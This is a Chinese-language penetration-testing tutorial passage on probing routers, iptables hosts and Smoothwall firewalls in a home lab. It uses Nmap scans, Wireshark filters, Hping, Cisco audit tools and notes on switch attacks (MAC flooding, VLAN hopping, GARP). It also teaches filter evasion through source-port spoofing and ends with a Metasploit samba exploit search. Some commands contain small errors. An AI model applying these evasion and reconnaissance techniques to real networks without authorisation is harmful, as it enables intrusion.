既然我们知道有一个端口 80 的响应,我们可以将其作为下一个获取信息的尝试。在你的终端窗口中,输入nmap –sS –p 80 192.168.177.10来将扫描定向到提供响应的端口;在你的 Wireshark 显示中,你可能想设置一个过滤器tcp.port == 80来集中在我们发送的流量上。以下截图显示了扫描结果的一个例子:

评估路由器

显示 Wireshark 显示的屏幕(裁剪的文本不重要)

这告诉我们,当我们连接到端口 80 时,我们收到了一个 RST 和 ACK 数据包;这意味着端口根据 RFC 被关闭。在我们继续之前,关于 RFC 的一点说明:如果你想精通测试的艺术,特别是在数据包级别,你需要熟悉它们;然而,正如你们中的许多人可能知道的那样,它们并不令人兴奋。一个可以帮助你获取 RFC 信息的网站是 Network Sorcery 网站;它提供了关于所有协议和其他网络数据的优秀信息,强烈建议你在不确定某些东西如何工作时花一些时间去审阅它们。你可以在www.networksorcery.com/找到这个网站。

你想要关注的区域是 RFC 源书;以下截图显示了信息的一个例子:

评估路由器

好的,现在是时候回到手头的任务了。为什么 Nmap 只显示端口 80,而没有其他端口被关闭?我们使用 Wireshark 确定当向其发送 SYN 数据包时,端口会以 RST 和 ACK 标志响应,那么接下来我们该怎么办呢?

这是我们可以尝试一些其他事情来查看端口的响应。我们知道端口报告为关闭;因此,让我们尝试 HTTPS 端口,看看我们会得到什么样的响应。在你的 Wireshark 过滤器中,输入tcp.port == 443,同时重新启动数据包捕获也是一个好主意。导航到捕获 | 重新启动来清理你收集到的所有流量。在你的终端窗口中,输入nmap –sS –p 443 192.168.177.10来探测 HTTPS 端口 443。一旦扫描完成,注意结果。以下是结果的示例:

评估路由器

正如你从之前的屏幕截图中看到的,端口报告的状态不是关闭,而是被过滤;为什么会有这种差异?首先,让我们看一下 Wireshark 中的结果。以下是 Wireshark 结果的示例:

评估路由器

正如我们从之前的屏幕截图中看到的,目标现在没有响应,这就是为什么 Nmap 报告它为被过滤的原因;因此,我们看到端口 80 生成了响应,而端口 443 没有,这告诉我们端口 80 的流量有某种规则,而端口 443 的流量没有。这些是我们应该记录的事情,这样当我们再次看到它时,我们就知道发生了什么。

我们还有一次尝试要做,然后我们将继续尝试针对路由器获取更多的结果。根据 RFC 793,当一个端口发送一个包含非法标志组合的数据包时,如果它是开放的,它不应该做出响应,如果它是关闭的,它应该做出一个带有 RST 标志的数据包响应。我们现在将尝试这样做。在你的终端窗口中,输入nmap –sX –p 80 192.168.177.10来向端口发送一个非法标志的数据包;在这种情况下,这是一种圣诞树扫描。扫描完成后,再次对端口 443 进行相同的扫描;输入nmap –sX –p 80 192.168.177.10并比较结果。以下是扫描结果的示例:

评估路由器

那么,我们能够确定什么?从之前的屏幕截图中,我们看到作为路由器的机器似乎遵循 RFC 793;这可以帮助减少可能的设备,因为一些供应商如微软和 OpenBSD UNIX 不遵循 RFC。我们还可以假设,由于市场上大多数设备都是运行 Cisco 路由器,这可能是我们要处理的设备。不幸的是,到目前为止,我们对设备的型号还不太了解,但我们知道它运行着 ACL,并且对端口 80 有一个规则。

我们已经基本上用尽了 Nmap 扫描选项,直接针对路由器接口。当我们通过设备进行更多尝试时,我们将尝试更多的工具;目前我们只是测试设备,并当然,记录结果。

在我们继续下一步之前,我们还有一件事要做,那就是验证我们的假设。当我们用 Nmap 扫描时,端口 80 显示为关闭,当我们尝试端口 443 时,我们得到一个被过滤的报告。我们假设这是因为 ACL 中必须有一些规则来关闭端口 80。好吧,我们永远不想假设,我们想确保我们的假设是正确的;因此,我们最好的选择是为另一个端口添加一个规则,然后看看会发生什么。我们现在就来做这件事。在你的路由器上,输入以下命令:

conf t
ip access-list extended External
permit tcp any any eq 22

按下Ctrl + Z,然后输入以下命令:

show access-lists

以下是示例的屏幕截图:

评估路由器

正如之前的屏幕截图所示,我们现在有一个规则允许我们的端口 80 流量和端口 22 流量。值得注意的是,由于我们刚刚输入了规则,所以没有像其他规则那样的匹配。

我们现在准备测试我们的理论。在您的 Kali 发行版中,在终端窗口中输入nmap 192.168.177.10 –n进行默认扫描。正如之前讨论的,n选项有望加快我们的扫描速度。扫描结束后,审查结果;一个示例如下面的屏幕截图所示:

评估路由器

任务成功!我们现在已经证明,当路由器(在这种情况下是思科路由器)有一个端口规则时,它将响应该端口。我们现在知道,在这种情况下有两个开放的端口;因此,我们有两个潜在的向量可以让我们访问路由器进行攻击。我们现在准备继续并尝试找到攻击路由器设备的方法。

由于 Kali 发行版是一个渗透测试工具包,很可能有人以前遇到过思科路由器,我们可以求助于它,看看它可能有什么可以帮助我们继续测试路由器的东西。事实上,不仅在发行版中有适用于思科的工具,而且它还有自己的菜单项!

在 Kali Linux 中,导航到应用程序 | Kali Linux | 漏洞分析 | 思科工具,并显示包含在适用于思科路由器的发行版中的可能工具。一个示例如下面的屏幕截图所示:

评估路由器

显示可能的工具的屏幕,这些工具包含在适用于思科路由器的发行版中(裁剪的文本不重要)

正如先前的屏幕截图所示,当我们遇到思科设备时,有许多工具可供使用。从这里开始,主要是试验和错误的问题。

最好的开始地方是顶部,所以我们现在将看一下第一个工具,思科审计工具。一旦您选择它,一个窗口将打开并提供工具的选项,如下面的屏幕截图所示:

评估路由器

当您审查工具的输出时,它实际上并没有太多帮助;在哪里可以运行这个工具的命令?不幸的是,这在 Kali Linux 发行版中有时会发生。如果我们幸运的话,至少我们会在目录中,这样我们就可以弄清楚。在您的终端窗口中,输入ls,然后输入pwd以显示我们所在的目录,如下面的屏幕截图所示:

评估路由器

当您审查先前的屏幕截图和工具的输出时,您有幸吗?不,似乎菜单没有把我们放在正确的目录中,它把我们留在了root目录中。那么现在我们该怎么办?嗯,我们可以尝试一些选项,但现在我们不会花太多时间在它们上面;我们只会看一两个。这是 Linux,所以我们可以尝试主页;我们现在就来试试。在终端窗口中,输入man cisco-auditing-tool来查看是否有主页可用。我们可能可以使用更好的命令名称来找到它,但我们真的没有太多线索,所以我们只会尝试一些选项。一个示例如下面的屏幕截图所示:

评估路由器

嗯,正如先前的屏幕截图所示,我们在这里做得并不好,这就是我们将要经历这个过程的原因,因为这经常会发生。那么现在我们该怎么办?嗯,是时候引入互联网了,在搜索互联网后,我们发现 Kali Linux 中的工具使用CAT文件。所以,我们现在将尝试一下。在您的终端窗口中,输入CAT来看看会发生什么。

一个示例如下面的屏幕截图所示:

评估路由器

最后,正如前面的截图所示,我们已经找到了该工具的命令。当我们审查选项时,我们看到第一个选项是针对单个主机的;因此,由于我们有一个目标设备,我们将从那里开始。我们将输入CAT –h 192.168.177.10并观察输出。示例显示在以下截图中:

评估路由器

从前面截图的输出中,很明显这个工具寻找 telnet 端口 23 是否打开,所以我们知道情况并非如此。但是,我们可以记录这个工具,以便在 telnet 打开时重新访问。

我们现在将继续尝试另一个工具。这是我们测试时的过程;我们希望查看所有不同的工具和方法来对抗我们测试的目标;因此,您必须记录什么有效,什么无效,因为这将在您对抗实际目标时为您节省大量时间。

我们将看看下一个工具,也是列表中的下一个工具,即 Cisco 全局利用程序。此工具的选项示例显示在以下截图中:

评估路由器

当我们审查工具的选项时,我们发现大多数选项需要 Web 服务器或 telnet 服务可用。由于我们知道情况并非如此,我们可以转向下一个选项。但是,请记住记录工具要求,以便以后测试。我们可以关闭访问列表,然后打开测试选项。但是,在大多数情况下,管理员不会打开这些选项,默认情况下也不会打开。它们曾经是默认开启的,但是像安全领域的大多数事物一样,它们已经加强了安全性,不再是这种情况。

我们可以继续尝试不同的工具,但我们将为您节省时间。当我们扫描路由器时,我们无法找到有关它的太多信息,因此 ACL 基本上阻止我们发现太多。因此,为了证明这一点,我们现在将删除 ACL 并查看它是否有所帮助。在您的 Cisco 路由器中,输入以下命令:

conf t
int f0/0
no ip access-group External in

按下Ctrl + Z,然后执行以下命令:

show ip int f0/0

我们要验证 ACL 是否不再在接口上。示例显示在以下截图中:

评估路由器

现在我们已经清除了 ACL,我们可以尝试使用 Nmap 进行另一次扫描。我们可以进行正常的默认扫描,但我们将从枚举扫描开始;因此,在 Kali Linux 的终端窗口中,输入nmap –A 192.168.177.10 –n并扫描目标。结果的示例显示在下一个截屏中:

评估路由器

哇!这真是大不相同!现在,如果我们的目标没有配置 ACL,我们可以发现关于目标的大量信息,但您很可能会遇到 ACL,那么您该如何处理呢?嗯,在最初的发现中,您可以要求提供信息,他们可能会提供。您也可以尝试不同的位置;虽然外部接口受到保护非常常见,但内部接口却不太常见。因此,在某些情况下,这将是继续的最佳选择。

从这里开始,您将注意到不同的结果,然后记录什么有效,什么无效;此外,您将注意到可以进行的不同配置更改以及这些更改如何影响结果。实际上,您现在应该运行 Kali 中的所有工具,并查看在没有 ACL 的情况下有何不同;如常,记录您的发现。

如果我们找到攻击路由器的方法,那当然很重要,但更重要的是路由器是内部的保护设备,我们的前进方式是看如何穿越路由器;这是我们将在本章稍后进行的。现在,我们要讨论的是当我们遇到使用 Linux 机器或其他设备作为其路由器和过滤设备的人时的结果。

由于我们已经基本上耗尽了与可能遇到的作为边界设备的路由器的工作,现在是时候看看如果我们遇到一个使用 iptables 作为其路由器并提供 ACL 功能的环境时的结果了。为此,我们需要启动我们在第四章中配置了 iptables 的虚拟机,识别范围架构。您可能希望暂停我们一直在使用作为路由器的机器,以避免冲突和系统资源。我们将在本章后面再次讨论这台机器和路由器设备。

一旦您的虚拟机启动,使用所需的凭据登录,并打开一个终端窗口。在终端窗口中,输入iptables –L以显示当前配置,如下屏幕截图所示:

评估路由器

我们看到我们为 http 流量设置了规则,所以现在我们知道我们要使用我们的 Kali Linux 机器扫描这台机器。在您的 Kali Linux 机器上,打开一个终端窗口,输入nmap 192.168.177.15来扫描 iptables eth0 接口。这次扫描的结果示例如下屏幕截图所示:

评估路由器

从前面显示我们扫描结果的屏幕截图中,我们知道我们有 ssh 和端口 111 开放。这与我们扫描路由器时有显著不同,因为 iptables 正在机器上运行;因此,结果将显示机器上开放的内容。这为我们提供了一些攻击途径,但问题是我们没有真正测试 iptables 规则。这是因为我们不关心 iptables 规则;这次扫描只扫描了机器的接口,与我们的 iptables 规则无关。对于路由器,我们有一个可以扫描的接口。由于我们在这里没有,我们只扫描了机器;但这是确定您是否会遇到作为路由器或实际路由器设备的机器的好方法。

那么,现在我们该怎么办呢?嗯,我们有几个选择。由于 ssh 是开放的,我们可以尝试暴力破解,或者如果我们知道有端口开放,它将帮助 Nmap 更好地进行枚举。所以,我们现在尝试一下。在终端窗口中,输入nmap –A 192.168.177.15进行枚举扫描。

这里有一部分输出的示例,如下屏幕截图所示:

评估路由器

屏幕显示了输出的部分示例(裁剪的文本不重要)

从前面的屏幕截图中,我们看到我们有额外的信息。这是因为我们只是查看 iptables 所在的机器,而不是规则。我们可以做一些事情来涉及 iptables 规则,但我们将在本章后面再讨论。根据我们在这里看到的,还有其他事情可以做吗?答案是肯定的。我们看到我们有 OpenSSH 版本,所以我们可以使用本书中讨论的技术,尝试找到可能适用于这个 SSH 版本的任何漏洞。我们可以在互联网上搜索。截至目前,有几处提到 6.0 版本存在一些拒绝服务漏洞,但由于这在渗透测试范围内很少被要求,我们将不在这里讨论,欢迎您自行尝试。

在我们继续之前,还有一件事要做,那就是在数据包级别查看流量。在 Kali Linux 的终端窗口中输入wireshark &启动 Wireshark 工具。当工具打开时,通过导航到eth0 | Capture来在你的 eth0 接口上开始捕获。一旦捕获开始,通过另一个终端窗口运行你的 Nmap 扫描,然后在 Wireshark 中查看结果。因为我们真的只想看看是否有任何消息显示我们在过滤器中遇到的,你可以输入一个显示过滤器。我们现在就来做这个。在过滤窗口中输入icmp来查看目标是否发送了任何 ICMP 流量。

以下是一个示例截图:

评估路由器

屏幕显示目标是否发送了任何 ICMP 流量(裁剪的文本不重要)

之前的屏幕截图确实显示了一些 ICMP,但你会注意到这些都不是我们如果有过滤器的话会看到的 ICMP 类型。数据包 1702 是根据 RFC 对关闭的用户数据报协议UDP)端口的响应。

我们还有一个过滤器,我们将应用以结束这一部分。作为测试人员,我们尽快获取数据非常重要,这就是 Wireshark 过滤器的威力所在。然而,在我们这样做之前,有什么我们错过了吗?希望你还记得 Nmap 默认只扫描 1000 个端口,因此我们并没有扫描所有的端口。你可能已经扫描了端口;作为提醒,我们使用-p选项进行端口扫描,你应该扫描所有端口,以便你的测试结果更完整。一旦你完成了扫描,Wireshark 中将会有几个数据包需要你查看。为了让我们的工作更容易,输入以下内容到 Wireshark 的过滤窗口中:

tcp.flags.syn == 1 and tcp.flags.ack == 1

一旦你输入了过滤器,点击Apply应用过滤器。现在,所有设置了 SYN 和 ACK 标志的数据包将被显示;因此,你现在可以快速查看目标上开放的端口。以下是一个示例截图:

评估路由器

屏幕显示目标上有哪些端口是开放的快速参考(裁剪的文本不重要)

如果你更喜欢看到端口号而不是通常分配给该端口的协议名称,你可以在 Wireshark 的设置中更改这个。导航到Edit | Preferences | Name Resolution,并取消Resolve transport names下的复选标记。以下是一个示例截图:

评估路由器

这是我们目前对 iptables 机器所做的全部。正如我们提到的,当我们实际开始针对规则集进行测试时,我们将重新访问这一点。我们能够通过路由器设备做到这一点,但我们将与 iptables 机器一起通过路由器 ACL 进行测试。

评估交换机

我们很可能会遇到的另一个设备是交换机。由于交换机是单播设备,只会向所有端口发送广播流量,当我们面对交换机时,我们希望尝试创建一种情况,使交换机要么将数据包错误地转发到我们希望的错误目的地,要么使交换机向所有端口发送所有信息,实际上成为一个集线器。

我们要查看的攻击称为二层攻击。虽然确实有交换机可以操作到开放系统互连OSI)模型的七层,但我们将专注于更传统的在二层操作的方法。

MAC 攻击

多年来,我们一直享受着使用一个名为macof的优秀工具来淹没交换机的奢侈。您可以在linux.die.net/man/8/macof上阅读更多关于它的信息。您可能仍然可以使用 macof 工具取得一些成功,但通常只有在遇到 2006 年之前的交换机时才有效。我们想淹没交换机以将其转换为集线器,以便我们可以拦截潜在的攻击流量。

如果您遇到一个较旧的交换机,macof 可以在 70 秒内淹没平均内容寻址内存CAM)表。由于遇到较旧的交换机是相当常见的,因此至少要了解一下该工具的使用方法是很重要的。我们在 Kali Linux 发行版中可以使用 macof 工具。在 Kali 机器上,导航到应用程序 | Kali Linux | 压力测试 | 网络压力测试 | macof以打开 macof 工具,如下截图所示:

MAC 攻击

这将打开 macof 工具,正如在 Kali Linux 发行版中通常的那样,有一个显示工具使用的输出。工具使用示例如下截图所示:

MAC 攻击

正如前面的截图所示,该工具的使用非常简单。再次强调,这是您在遇到较旧的交换机时可以使用的工具。现在我们将看一下针对第二层交换机的另一种攻击。

VLAN 跳跃攻击

我们将要看的下一个攻击是跨越 VLAN 的技术。许多管理员在配置交换机时会犯错误,因此我们有时可以跨越 VLAN。我们使用 VLAN 跳跃来访问分配给主机的 VLAN 不可用的资产。

在 VLAN 跳跃中,我们利用了一个事实,即干线具有对所有 VLAN 的访问权限。为了执行攻击,我们必须欺骗支持干线协议的交换机。为了使其工作,交换机必须配置为允许我们执行此操作。这上的默认设置是auto,这将允许我们的攻击起作用。如果欺骗成功,我们将可以访问网络上的所有 VLAN。

GARP 攻击

Gratuitous Address Resolution ProtocolGARP)攻击是针对 ARP 没有认证进行的,因此您可以成功地欺骗 ARP 地址。该过程是发送到广播地址的 GARP,有些操作系统将覆盖现有的 ARP 条目,即使该条目已经被静态输入。

所有这些攻击都是可能的,但在大多数情况下,除非我们建立一个实际的固定范围,否则我们将无法构建和测试它们。

攻击防火墙

接下来,我们想要像之前遇到路由器时那样攻击防火墙。我们的成功将取决于管理员以及他们如何配置他们的环境。

我们将使用我们创建的Smoothwall防火墙,并将从连接到 VMnet2 交换机的红色接口对其进行攻击。我们将使用与我们对路由器使用的相同过程,并查看我们在对防火墙进行攻击时可以发现什么。我们的测试范围如下图所示:

攻击防火墙

正如前面的图表所示,我们将只集中在 Smoothwall 机器的外部接口上。我们要做的第一件事是使用我们流行的网络扫描工具 Nmap,并查看我们可以从机器上发现什么。

我们需要将我们的 Kali Linux 发行版连接到 VMnet2 交换机。如下截图所示的示例:

攻击防火墙

在 Kali 机器中验证设置后,登录并在 Smoothwall 机器中输入ifconfig eth0以显示机器的 IP 地址信息,因为我们需要这个信息输入到我们的工具中。以下截图显示了示例:

攻击防火墙

现在我们有了 IP 地址,我们准备进行扫描。在您的 Kali Linux 机器上,输入nmap –A 10.2.0.131来扫描 Bastion Host 机器的 eth0 接口。如果您的 IP 地址不同,那么您将输入目标 IP 地址。以下截图显示了部分结果的示例:

攻击防火墙

再次,我们确实没有太多线索。我们看到机器上只有一个端口是打开的,由于 Nmap 工具没有足够的信息来尝试对操作系统进行指纹识别,我们需要查看数据包级别。通过输入wireshark &在 Kali 上启动 Wireshark,并在 eth1 接口上开始数据包捕获。一旦数据包捕获开始,再次运行 Nmap 扫描,然后在 Wireshark 中查看扫描结果。

以下截图显示了扫描的部分示例:

攻击防火墙

屏幕显示了扫描部分的示例(裁剪的文本不重要)

当您查看前面的截图时,您会看到ident端口确实响应为关闭状态。实际上,几乎所有其他端口都没有响应,所以至少我们有一些线索。这是因为如果有 Internet 连接,Smoothwall 安装就会注册,并且身份受到端口 113 的控制。

在我们完成本章的工作时,我们发现了一件事,即在扫描路由器时使用了 ICMP 错误消息,因此我们想看看 Smoothwall 机器是否返回了任何 ICMP 消息。始终从新捕获开始是一个好主意,因此在 Wireshark 中,导航到捕获 | 重新启动以在接口上开始新的捕获。为了使您的任务更容易,输入 ICMP 过滤器并单击应用。然后返回到您的终端窗口,再次运行 Nmap 扫描,并观察 Wireshark 中的结果。

以下截图显示了结果的示例:

攻击防火墙

我们有 ICMP 流量,这可能有助于我们确定是否会遇到防火墙。接下来,我们将想知道哪个端口响应了 ICMP 消息。根据 RFC 793,这是关闭的 UDP 端口的有效响应。因此,我们需要确定这是响应的 UDP 端口,还是 TCP 端口。我们将再次运行我们的扫描,并仅查看 TCP 流量,方法是输入nmap –sS 10.2.0.131并在扫描期间观察 Wireshark。以下截图显示了结果的示例:

攻击防火墙

屏幕显示了结果的示例(裁剪的文本不重要)

从前面的截图中,我们看到 TCP 端口引起了响应,因此它不遵循 RFC。我们现在可以得出结论,我们有了一个防火墙,并且我们可以尝试攻击它或穿过它。

这再次是测试的现实;我们可能会发现一个防火墙,除非我们对防火墙有所了解,否则成功攻击它可能会很困难,甚至不可能。在这种情况下,如果我们没有知道这是 Smoothwall 防火墙的优势,我们对所遇到的防火墙类型几乎一无所知。

您可以继续尝试获取有关防火墙的信息,以便攻击它,但我们将继续前进,因为在使用 Smoothwall 防火墙多年后,发现通过它或使用某种社会工程学方法来获取其后面的访问权限要容易得多。

识别防火墙规则

在本章中,我们早些时候确定了路由器上有规则的端口;这是您希望继续在您的范围内练习的技术,但我们还没有具体看防火墙本身。如果我们想成功地穿过它,我们需要看看防火墙允许和阻止什么。正如之前提到的,这可能是一个重大挑战,而且往往我们只能使用已打开的端口来穿过防火墙。

我们提到路由器是无状态防火墙的一种形式,并且我们展示了对应用了 ACL 的路由器进行 Nmap 扫描将显示已设置规则的端口。我们不仅讨论了这一点,而且还证明了它。我们将进一步进行这一步骤,首先是我们的路由器,然后是我们的 iptables 和 Smoothwall 防火墙。

我们想看看哪些流量被允许通过无状态防火墙。由于我们之前已经用扫描做过了,所以我们只是简要地看一下测试规则的另一种方法。在本节中,我们将使用以下屏幕截图中显示的设计:

识别防火墙规则

正如之前的屏幕截图所示,我们有第二个网络,由 VMnet2 交换机表示,因此启动所需的机器并登录到它们。在您的路由器机器上,打开一个终端窗口并输入以下命令来运行您的 dynamips 机器:

dynamips –H 7200
dynagen config.net

注意

确保您为每个命令打开一个终端窗口,并导航到/opt目录。

一旦您的路由器启动,输入以下命令:

console R1
en
show ip int f0/0

验证您的设置如图所示。接口上有一个访问列表;如果没有,那么您必须放上一个。如果需要帮助,我们在本章的前面已经覆盖了这些步骤。以下是一个示例:

识别防火墙规则

从之前的屏幕截图中,我们看到这个接口上有 ACL,所以我们准备做一些测试。我们首先要做的是验证我们的路由。如果没有设置,那么我们需要创建路由。同样,这是我们已经做过的事情,所以我们不会在这里覆盖这些步骤。

注意

您必须在 Kali 机器和 OWASP 机器上设置路由。

如果您的路由设置好了,您应该能够访问OWASP机器的 Web 服务器。使用 Netcat 或 telnet 验证您是否可以连接到该机器;在这里,我们将使用 Netcat。在 Kali Linux 机器上,输入nc 10.3.0.132 80并在终端窗口中验证您是否可以连接到该端口;如果成功了,那么路由配置正确并且工作正常。连接后,输入以下内容:

GET / http/1.1

以下是结果的示例:

识别防火墙规则

一旦路由设置好了,我们就准备开始测试规则。我们将从 Nmap 扫描开始。输入nmap 10.2.0.132并查看结果;现在我们将扫描路由器,所以 ACL 起作用了。以下是结果的示例:

识别防火墙规则

从之前的屏幕截图中,我们看到,由于我们现在要穿过 ACL,我们实际上得到了通过无状态防火墙允许的端口的结果。我们将再看一个,然后继续测试其他的。我们还可以使用工具Hping来查看规则。在 Kali 的终端窗口中,输入hping3 –S –p 80 10.2.0.132并注意结果。现在,我们要输入一个我们知道没有打开的端口的命令。输入hping3 –S –p 22 10.2.0.132并注意结果。以下是一个示例:

识别防火墙规则

根据我们所看到的,很容易确定无状态过滤器的规则,但实际防火墙呢?我们将首先看一下 iptables 的反应。关闭或挂起您的路由器,并启动您的 iptables 机器。

注意

我们必须调整我们的路由以指向正确的接口,并且如果 iptables 机器上没有打开 IP 转发,我们还必须启用 IP 转发。

一旦您设置好了路由和转发,就可以开始测试 iptables 规则。在您的 Kali 机器上,可以使用 Netcat 或 Nmap 进行测试,看看是否可以路由到 OWASP 机器的 80 端口。或者,您也可以打开浏览器尝试。浏览器方法的示例如下截图所示:

识别防火墙规则

现在我们已经设置好了路由,我们准备测试 iptables 规则集。与之前一样,我们将从 Nmap 开始测试。在 Kali 中,输入nmap 10.2.0.132并查看结果。结果的示例如下截图所示:

识别防火墙规则

接下来,我们应该使用 Hping 工具做与之前相同的事情,但我们会为您省去麻烦。Iptables 不会像路由器那样做出响应;当它在过滤某些东西时,iptables 根本不会做出响应。正如我们多次所述,这就是测试的全部意义:您创建一个实验环境,应用不同的设置和配置,然后查看哪些有效,哪些无效。

现在,我们准备查看 Smoothwall 防火墙。由于我们正在测试防火墙,根据我们的设计,我们有几个选项。我们可以先测试路由器,然后再测试防火墙。但是,在测试过程中,我们希望尽可能简单。因此,我们将直接测试防火墙;我们的网络设计示例如下截图所示:

识别防火墙规则

我们必须再次建立我们的路由。现在我们的目标是 VMnet3 交换机,因此我们必须路由到该网络。

注意

我们不需要在这里打开 IP 转发,因为 Smoothwall 机器会为我们处理。

我们需要注意 metasploitable 机器的 IP 地址。在本书之前设置机器时,我们在 VMnet3 交换机上设置了 DHCP 服务器;因此,该机器应该在启动时获取了一个地址。要确定 IP 地址,您需要登录到机器上,输入msfadminmsfadmin作为密码。登录后,输入ifconfig并显示接口信息。示例如下截图所示:

识别防火墙规则

注意

如果地址与您创建的地址不同,那么您可能需要修改它以匹配目标机器上的地址。同样,我们之前已经涵盖了这一点,因此在这里不再涵盖。为了避免这种情况,您可以将地址配置为静态地址,并在启动时分配。

提醒:您需要在 metasploitable 机器上添加路由;为此,您需要使用sudo命令。添加路由的命令如下:

sudo add -net 10.2.0.0 gw 10.3.0.10 netmask 255.255.255.0 dev eth0

一旦您设置好了路由,就可以使用之前讨论过的任何方法进行测试。使用 telnet 进行测试的示例如下截图所示:

识别防火墙规则

现在,我们已经准备好通过防火墙测试目标。与之前一样,最简单的方法是使用我们的工具 Nmap。此外,我们还想运行 Wireshark,并进行比较,看看与直接扫描机器时是否有任何不同。在您的 Kali 机器上,输入nmap 10.3.0.128来扫描目标。请记住,如果您有不同的 IP 地址,您需要输入该地址。Nmap 扫描的示例如下截图所示:

识别防火墙规则

正如前面的屏幕截图所示,我们在 Wireshark 和 Smoothwall 机器上进行的测试并没有太大的区别。你可能还记得,当我们在数据包级别检查结果时,我们发现 Smoothwall 机器有时会以 ICMP 消息做出响应;它是一种目标不可达类型的消息,代码是端口不可达。扫描中 ICMP 消息的示例如下屏幕截图所示:

识别防火墙规则

屏幕显示了扫描中 ICMP 消息的示例(裁剪的文本不重要)

正如前面的屏幕截图所示,我们确实有 ICMP 消息,所以这是我们可以做个记录的事情。在发现阶段,如果我们找到一个使用 Smoothwall 防火墙的客户端,我们将有关于如何对其进行操作的数据。欢迎继续、测试数据,并看看你能发现什么;一如既往,请记得记录一切。对于我们的目的,我们已经实现了本节的目标,我们准备继续进行下一节。

渗透过滤器的技巧

根据我们在本章中发现的内容,你会发现当我们遇到一个设备时,我们成功瞄准它甚至穿透它的能力受到管理员为使设备尽可能受限所付出的工作量的限制。

尽管如此,有时管理员会犯错误,这是我们作为专业安全测试人员的工作的一部分。我们必须找到这些现有的错误并记录下来,以便客户可以修复它们。

我们继续看到的一件事是弱的过滤规则,这是一个长期存在的问题。尽管有了新产品,我们在测试时仍然可以找到弱的过滤规则;因此,在结束本章之前的最后一节将处理如何检测这些规则。

我们将创建并测试第一个弱过滤规则,以便记录结果,这些规则通常在无状态过滤器和路由器中遇到。我们将使用我们的 Dynamips 虚拟机,目标将是 OWASP 机器。在你的路由器机器上,打开一个终端窗口,并输入以下命令来运行你的 Dynamips 机器:

dynamips –H 7200 &
dynagen config.net

正如你所看到的,这次我们在后台运行命令,以避免打开另一个终端窗口;如果你想使用单独的窗口,那就由你决定。我们需要创建一个弱规则,然后进行一系列技术测试,看看我们可以使用哪一种来从过滤器后面的目标获取额外的信息。一旦你的路由器启动,输入以下命令:

console R1
en
conf t
ip access-list extended External
permit tcp any eq 80 any

按下 Ctrl + Z,然后输入以下命令:

Show ip access-lists

配置示例如下屏幕截图所示:

渗透过滤器的技巧

我们现在已经设置了一个弱的过滤规则,这在测试时相当常见。一些管理员会添加一个用于返回流量的规则,并允许所有来自某个端口的流量通过。我们在这里使用的是端口 80,但最常见的是在端口 20、53 和 67 上找到。微软的防火墙存在漏洞,已知允许所有源端口为 88(Kerberos)的流量通过过滤器。

我们在路由器上添加了一个新规则,如果我们进行一些研究,我们会发现有渗透防火墙的技术,所以我们现在将尝试其中一种。我们想尝试的第一种是分段扫描,所以在 Kali 中输入 nmap –f 10.2.0.132 来对目标进行分段扫描。结果的示例如下屏幕截图所示:

渗透过滤器的技巧

好吧,这次扫描甚至没有检测到一个开放的端口,所以我们可以记录下来并继续。正如前面提到的,可以尝试许多不同的扫描,您的成功将取决于您所面对的管理员。我们将再看一个,鼓励您自行探索其他方法。您可以在pentestlab.wordpress.com/2012/04/02/nmap-techniques-for-avoiding-firewalls/找到许多技术的列表。

接下来,我们将看一下通常会为您提供最大成功的技术,这也是我们之前提到的技术。过滤器中的一个常见弱点是允许从某个端口返回流量的规则。幸运的是,使用 Nmap,我们有一个源端口扫描选项,所以我们总是可以从特定端口发送我们的流量。我们想要进行扫描并使用这个选项。在您的 Kali 终端窗口中,输入 nmap –g 80 10.2.0.132g 选项将指示流量来自输入的端口,这种情况下是端口 80。示例如下截图所示:

穿透过滤器的技巧

成功!我们现在对过滤器后面的目标有了更多的细节;因此,我们现在可以按照我们的正常测试方法对其进行测试,只要我们从源端口 80 生成我们的流量。

由于我们可以访问过滤器后面的机器上打开的所有端口,让我们进一步调查一下。我们可以尝试使用漏洞扫描程序,但在大多数情况下,它们并不是设计用来穿过过滤器的,所以我们将不得不手动从目标上运行的服务中提取信息,并查看是否能找到一些可能成为我们攻击向量的东西,假设我们可以从端口 80 发送我们的攻击。这是我们需要进一步研究的事情。

首先,我们想要查看这些端口上运行了什么,所以我们可以使用 Nmap 从这些端口获取横幅。

注意

您也可以使用 Netcat 来绕过过滤器并使用 -p 选项来从特定源端口到达目标。这留作读者的练习。

我们可以使用许多不同的扫描技术来从目标获取服务信息;我们将使用其中一种较老但仍然有效且比一些新技术更快的技术。在您的 Kali 机器终端窗口中,输入 nmap -g 80 –sV 10.2.0.132 来获取服务的横幅。示例如下截图所示:

穿透过滤器的技巧

在前面的截图中,有趣的是扫描显示端口 139 和 145 是开放的,这些端口通常在 Windows 平台上找到。

从这里开始,流程是寻找服务或操作系统的易受攻击版本,然后尝试利用漏洞进行攻击。为了执行这个过程,我们将使用另一台用于测试的机器,那台机器是来自www.kioptrix.com/blog/的 Kioptrix 发行版。我们可以从该网站下载许多发行版。我们将使用 Level 1 版本。流程是打开虚拟机并在设置中将其连接到 VMnet2 网络;通过这样做,我们有一台可以进行测试的机器。

虚拟机设置的示例如下截图所示:

穿透过滤器的技巧

一旦机器启动,我们需要确定 DHCP 服务器分配的 IP 地址。我们可以通过扫描 VMnet2 子网来做到这一点。

在您的 Kali 机器终端窗口中输入 nmap –g 20 –sP 10.2.0.100-200 进行针对 VMnet2 网络的 ping 扫描。我们有幸知道 DHCP 服务器的起始和结束 IP 范围,所以我们将在这里使用它来加快扫描速度。扫描的示例如下截图所示:

穿透过滤器的技巧

我们看到我们的结果中有三个目标,我们知道 132 号机器是 OWASP,135 号机器是我们的 Kali 机器;因此,我们感兴趣的目标是 140 号机器。这一切都是因为路由器上的弱过滤器配置。一旦我们找到了突破口,我们将继续使用它。我们需要知道目标上运行的服务,所以输入nmap –g 80 –sV 10.2.0.140来显示目标的服务信息。我们知道这个目标机器不是 Windows 机器,但我们在目标上看到了类似 Windows 端口的开放。

由于这种情况,我们可以得出结论,samba 正在运行在这台机器上。有许多 samba 漏洞;我们可以对它们进行研究,并尝试看看我们是否成功。

我们介绍了许多发现漏洞的技术,我们将为您节省一些麻烦,看看一些可用的 samba 利用程序。如果输入msfconsole来启动 metasploit 工具,程序启动需要一些时间,一旦启动,我们想使用出色的搜索功能;输入search samba。以下截图显示了部分结果的示例:

渗透过滤器的技巧

